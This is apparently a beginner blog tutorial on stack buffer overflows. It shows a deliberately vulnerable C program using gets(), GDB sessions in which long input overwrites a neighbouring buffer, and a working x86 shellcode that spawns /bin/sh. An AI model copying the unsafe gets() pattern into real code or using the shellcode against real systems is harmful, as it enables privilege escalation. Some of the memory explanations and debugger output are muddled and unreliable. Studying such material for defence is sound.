A buffer overflow comprehensive guide.
In this guide we are going to see and learn-
- What is Buffer Overflow?
- How does it work?
- The exploitation.
- How to prevent these types of attacks?
So let’s start with an introduction.
What is Buffer Overflow?
A buffer overflow is a condition when a program tries to put more data in a buffer than it could hold. A buffer can be anything, whether it is a character, strings, an array of integers. After the memory in the buffer is full you are writing outside the buffer which will crash the program, corrupt the code, or even can execute a malicious code. The extra information in the buffer will overflow into adjacent buffers and ultimately corrupt valid data which are present in them.
How does buffer overflow works?
It can be happen due to a programming mismanagement of the memory.
In order to understand it better, We have to understand what’s going on inside the memory when a program is executed.
This is How a memory looks like.
It consist of Kernel, Stack, Heap, Data, Text.
In Kernel command line parameters are contained which passes to the program and environment variables.
The last area Text contains the compiled code and is the only read-only area, where we can see the code.
Above the Text there is a Data which stores variables of the program.
On the top of the data there is a Heap this is the area where large objects are collected like images and files.
The area below the kernel is Stack this area stores local variables in the program
And stack is the area where the magic happens.
The exploitation of buffer overflow
So now we have knowledge of how the memory works, let’s see some example and see how a buffer overflow works and can be exploited
#include
#include
#include
int main(){
char realname[20];
char givenname[20];
strncpy(realname, "ttttttttttttttt", 20);
gets(givenname);
if (0 == strncmp(givenname, realname, 20)){
printf("SUCCESS!\n");
}else{
printf("FAILURE!\n");
}
raise(SIGINT);
printf("givenName: %s\n", givenname);
printf("realName: %s\n", realname);
return 0;
}
Let’s take the following sample of the C code.
This c code has two variables givenname and realname which have a buffer of 20 each. If the givenname and realname are the same then the program prints SUCCESS! else the program will print FAILURE!.
Test run of the program!
Now let’s use the debugger and see what the program is actually doing. I am using GNU debugger GDB.
(No debugging symbols found in buffov)
(gdb) run
Starting program: /data/data/com.termux/files/home/downloads/buffov
tathagat
FAILURE!
Program received signal SIGINT, Interrupt.
0xf75d9e78 in tgkill () from /system/lib/libc.so
this program has an interrupt so before exiting we could look the stacks
Locals at 0xfffef788, Previous frame's sp is 0xfffef788
(gdb) info stack
#0 0xf75d9e78 in tgkill () from /system/lib/libc.so
#1 0xaaaaa570 in main ()
(gdb) x/200x 0xfffef788
0xfffef788: 0x00000000 0x00000000 0xf766c000 0xfffef79c
0xfffef798: 0xfffef7b0 0x68746174 0x74616761 0xf75ead00
0xfffef7a8: 0x00000000 0x00000000 0x74747474 0x74747474
0xfffef7b8: 0x74747474 0x00747474 0x00000000 0x00000000
0xfffef7c8: 0xfffef7f8 0xf7610e5f 0xf7711060 0x00000000
now we know the position of the variables, we can print it out
As we know that the data stored in ASCII format in the stack .
How to exploit this.
Now lets see how we can exploit this.
so for buffer overflow as we have studied we need characters more than the buffer size. Here the buffer size is 20 so let’s start with like 35 characters.
Starting program: /data/data/com.termux/files/home/downloads/buffov
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
FAILURE!
Program received signal SIGINT, Interrupt.
0xf759be78 in tgkill () from /system/lib/libc.so
(gdb) info stack
#0 0xf759be78 in tgkill () from /system/lib/libc.so
#1 0xaaaaa570 in main ()Locals at 0xfffef788, Previous frame's sp is 0xfffef788
(gdb) info stack
#0 0xf75d9e78 in tgkill () from /system/lib/libc.so
#1 0xaaaaa570 in main ()
so here we have overflowed the buffer but only 35 letters are no useful and bring no change to the program let’s try it with 50+ characters and see what happens.
Starting program: /data/data/com.termux/files/home/downloads/buffov
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SUCCESS!
Program received signal SIGINT, Interrupt.
0xf75dce78 in tgkill () from /system/lib/libc.so
(gdb) info stack
#0 0xf75dce78 in tgkill () from /system/lib/libc.so
#1 0xaaaaa570 in main ()
So we finally overflowed the buffer of givenname and it went straight to realname and matched the buffer for success. This is a basic buffer or stack overflow shown with a help of a program.
So, can we further exploit the program to cause more more damage. we already cracked the program now let’s see what more harm could it cause.
This buffer overflow vulnerability could be privilege escalate to gaining root access to the system with use of a shellcode exploit.
A shellcode exploit can be found on internet easily from websites like exploit-db
xor eax, eax ; Clearing eax register
push eax ; Pushing NULL bytes
push 0x68732f2f ; Pushing //sh
push 0x6e69622f ; Pushing /bin
mov ebx, esp ; ebx now has address of /bin//sh
push eax ; Pushing NULL byte
mov edx, esp ; edx now has address of NULL byte
push ebx ; Pushing address of /bin//sh
mov ecx, esp ; ecx now has address of address
; of /bin//sh byte
mov al, 11 ; syscall number of execve is 11
int 0x80 ; Make the system call
The exploit we are using here is to spawn a shell. compile this exploit as .asm file you can do this with tools like nasm.
Find yourself a perfect exploit by googling and searching and the buffer overflow vulnerability eventually lets you execute any type of code.
How to prevent Buffer Overflow.
- Keep your web infrastructure and OS up to date.
- Patch them with latest security updates.
- Periodically scan your website with a good vulnerability scanner which scans for buffer overflow flaws.
- Review all of your source codes.
- Be aware with latest bug reports and patch them on your website.
Read more blogs.